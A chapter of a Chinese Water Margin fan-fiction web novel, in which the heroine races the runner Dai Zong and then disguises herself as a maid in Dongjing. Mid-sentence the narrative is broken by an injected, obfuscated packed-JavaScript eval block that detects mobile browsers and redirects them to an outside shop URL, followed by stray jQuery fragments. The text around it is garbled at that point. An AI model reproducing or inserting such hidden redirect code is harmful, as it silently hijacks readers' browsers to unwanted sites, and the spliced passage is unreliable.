11. 较计

作品:《在水浒中做女帝

    月隐星稀,三骑很快出了独龙冈地界,拣了条傍山僻静小路继续前驰。


    如此行了约莫两个时辰,人疲马倦,前方依稀可见几点灯光,是个临着岔路的乡下村落。扈昭勒马:“我们寻个地方略歇歇脚,喂喂马匹。”


    村口有间野店,土墙茅顶,挑着个破旧酒幌。三人在店家指引下,将马牵到店后马棚饮水喂料,进店要了粗酒热水。店内只一老掌柜,见他们风尘仆仆,不敢多问。


    正歇息间,店外官道上忽传来一阵奇特的脚步声,节奏极快,由远及近,竟似不输奔马。


    梁翼在外低喝:“什么人?”


    扈昭、丽卿出了门口,只见月色下一道黄影疾驰而来,近了才知是个中年男子,双腿上绑着物事,足不点地般飘行,速度惊人,转眼到了店前。


    见了三人,那人刹住脚步,眼中一亮:“好耶,正见了好人物!某家行路寂寞,见猎心喜,几位可要与某比比脚程?”


    这人性子竟如此直率爽利,见面就要比试。


    陈丽卿闻言挑眉,她向来好胜,当即就要应声,却被扈昭拦了。


    不是扈昭非要阻了别人让自家出风头,而是她已明确知晓了来人是谁:


    “兄台这身法,可是江州戴宗戴节级当面?”


    戴宗哈哈一笑:“小兄弟既知戴某微名,可敢一比?不借马力,纯较自家脚程,如何?”


    他目光灼灼,满是跃跃欲试。


    扈昭不知道自己轻功已被鬼脸杜兴儿泄露给戴宗,但有心招揽英雄能人,是以也不藏拙,微微一笑:“神行太保身法独步天下,在下仅会些粗浅轻身功夫,本不敢献丑。但戴大哥既有此雅兴,扈某自当奉陪。”


    “爽快!”戴宗闻言大喜,当即整了整腿上甲马,“快请。”


    两人并肩立于店前,戴宗口中念念有词,甲马符文隐泛微光。


    扈昭则静立调息,催动内里,青衫在夜风中微动。


    陈丽卿与梁翼牵马在一旁观看。


    梁翼低声叮咛:“二郎小心。”


    扈昭点头。


    “小兄弟既做好准备,我便先行一步!”端的是迅雷不及掩耳,戴宗一声令起,身形如箭离弦,黄影一闪已在十丈开外,速度之快,实是肉眼难追。


    几乎同时,扈昭足尖一点。她未念咒施法,全凭内息与自小的学习积累、勤学苦练,初时似不及戴宗迅猛,但步法灵动轻飘,每一次纵跃都极富韵律,竟稳稳咬在戴宗身后几丈处,未被拉开。


    道路在月光下延伸,两旁树影飞退。戴宗初始未尽全力,存了相让之心,但跑出五六里后,察觉扈昭气息绵长,速度不减,不由收起小觑之心,咒语加紧,速度再提。


    十里一过,戴宗心中已生惊讶。他这神行法借了符咒之力,对身体负担甚小,最擅长途不过。可身后这扈昭兄弟,纯以自体之力奔驰至此,竟仍从容,身法中有种他从未见过的精妙意韵。


    愈行愈远……戴宗额角见汗,扈昭呼吸也渐重,但两人距离始终维持在丈许之间。


    罢罢罢,戴宗一咬牙,暗暗催动秘法,甲马符文骤亮,速度暴涨,瞬间拉开差距绝尘而去。


    “要输!”陈丽卿亦是不甘落后,在后骑马紧紧追随,见状不由脱口而出,生怕扈昭输了自己人气势。


    谁知小学究也非寻常俗手,足下步伐忽变,恰似借风而行,速度亦陡然提升,然表情却非常从容。


    如此你追我赶,渐行渐远……


    “哎哎哎,不比了不比了。”终于,戴宗倚了一棵树立定,喘息回头,正见扈昭的手也几乎同时落在树干上。


    四目相对,戴宗眼中震惊难掩,同时也笑容满面。


    他最后那一下乃是师门秘传的应急之法,极耗元气,这小子竟能几乎追上?


    扈昭气息未平,却已拱手笑道:“戴兄神行法,果然名不虚传。扈某竭尽全力,仍落后半步,佩服。”


    她语气磊落坦荡,毫无落败沮色,反是真心赞叹。


    戴宗本有些许用秘法后的心虚,见她如此气度,心下更生好感,忙还礼道:“扈兄何必过谦,戴某借了师门外物,方有此速。扈兄纯以自身功力,竟能与戴某并驰二十余里,这份轻功内力,江湖罕见,某惭愧惭愧。”


    这时陈丽卿也追到树下,递了水壶给扈昭,破口开骂戴宗:“你甚么傻东西,深夜犯了神经苦追我等?又莫名和我家哥哥比试?死鬼可曾撵你不住?”


    看把小学究累的,往日那股悠然劲儿都不见了。


    这时梁翼也策马追上三人,递上水壶手巾,后面又跟孤零零一马。


    三马冷眼旁观众人,鼻孔嗤气。


    戴宗目光扫过陈丽卿,又看看梁翼,赞道:“几位皆非寻常人等,相逢即是有缘,某家戴宗,江州人氏,还未请教各位高姓大名?”


    扈昭为双方引见,交换了相认信物。又只道姓扈,几个往东京走亲访友。


    戴宗也不深究到底,笑道:“某家也是北上公干,路经此地。几位既要去东京,戴某在那里倒有个师弟,在大名府当差,名唤蔡福。若遇寻常难处,可持此物寻他。”说着取出一块黑黝铁牌递过。


    扈昭郑重接过:“多谢戴兄。”


    戴宗看看天色:“某家还需赶路,就此别过。他日江湖再见,定要把酒言欢!”


    言罢拱手作别,口中念咒,黄衫飘飘,转眼消失在官道尽头,其速比来时竟似又快了几分。


    陈丽卿哼道:“这人倒有趣,比完就跑。”


    梁翼则垂目称赞扈昭:“二郎轻功,原来这般了得,平日未曾见其万一。”


    扈昭摇头:“取巧罢了,那位神行太保未必尽了全力,且他的神行法正擅长途,真跑下去,我必然不及。”


    她将铁牌收好,“此人豪爽义气,也是可交之辈,继续赶路吧。”


    三人重新上马,经此一遇,虽未得实质助力,却与戴宗结下善缘,更知天下能人辈出。


    一路再无耽搁,昼夜兼程。


    第三日薄暮,东京巍峨城墙终于映入眼帘。城楼灯火初上,人声隐隐如潮,繁华之下,暗藏无数机心。


    三人未直接入城,在城外五里“十里铺”镇集落脚,寻了间干净客栈住下。


    房中油灯如豆,扈昭铺开刘慧娘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007942|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所绘的东京街坊简图。


    “明日分头行动,梁翼你去打听军中风声。丽卿可往禁军教头常聚的茶社左近留意。我去市井三教九流处探探,晚间在此汇合。”


    梁翼与陈丽卿各自应下。


    如此一天很快过去。


    梁陈两个都未想到,晚上和他们汇合之人,却成了一个俏丽的二八小姑娘。


    “你是谁?”陈丽卿大为疑惑。


    “是我。”扈昭不好意思绞绞袖子,双颊飞红。


    腮红涂的。


    饶是平素不吭声的梁翼也不如何淡定了:“二郎?”


    声量竟然大了许多。


    话音落地,一时之间房里静得惊人。


    肩窄腰细,藕衫双鬟,薄施脂粉,眉眼温婉,嘴角微微上翘,又带几分怯生生的伶俐。


    面前之人,活脱脱是个大户人家的丫鬟模样。


    可那眼神,那习惯性的手势,分明又是扈昭。


    陈丽卿绕着“她”转了两圈,伸手想去捏脸,被扈昭轻轻挡开。


    “真是你?”她瞪大眼睛,“你这……怎么弄的?”


    怎的还能比自己矮了这么多?


    扈昭笑笑,声音也变了,轻柔得很,难以听出原本的底子:“家传的一点微末伎俩,缩骨易容之术,怎么样?可唬着你们了?”


    梁翼强压下心中惊异:“二郎……为何如此?”


    扈昭走回桌边,姿态已全然是少女模样,连坐下的姿势都变了。她指着图上林冲家宅的位置:“明日你们依计行事,我去这里。”


    陈丽卿凑过来,眨眨眼:“你要去当林冲丫鬟?”


    “是林娘子丫鬟。”扈昭纠正,“这是最快最直接的法子。我在内,你们在外,里外呼应。”


    又如此这般、这般如此规划交代一番。


    “关键时候见机行事,但切忌节外生枝。”扈昭尤其看向陈丽卿。


    陈丽卿不服气:“我觉得梁木头更有可能坏事,我又不是初出江湖的毛头小子,怎么会?”


    梁翼静静听着扈昭的吩咐,不理会陈丽卿的拉踩,忽然道:“二郎这易容术,能维持多久?可会被人瞧出来?”


    “若无外力拉扯或沾特殊药水,三五日无碍的,现下天气也不热,不闷。”扈昭解释,“只是这缩骨功耗神,不能长久维持,待此事了,需好生调息几日。”


    梁翼仍不放心:“若林娘子问起来历……”


    “我自会天花乱坠。”扈昭做小女儿状。


    哦,好久没做父母膝下乖女儿了,这回恢复女装,倒也欢欣。


    陈丽卿盯着她看了半晌,又笑起来:“小学究,你肚子里到底装了多少鬼主意?”难怪那两娘娘都喜欢这小子,一个个的舍不下他。


    自己现在,倒也舍不得潇洒离开了。


    扈昭也笑:“都是被时势逼出来的。”


    计议既定,三人各自歇下。


    扈昭单独一屋,她需时间适应这副新身形,还有,她的月事竟然早来了。


    真不巧,机关算尽,却忘了大姨妈,准备不足。


    还得出一趟门。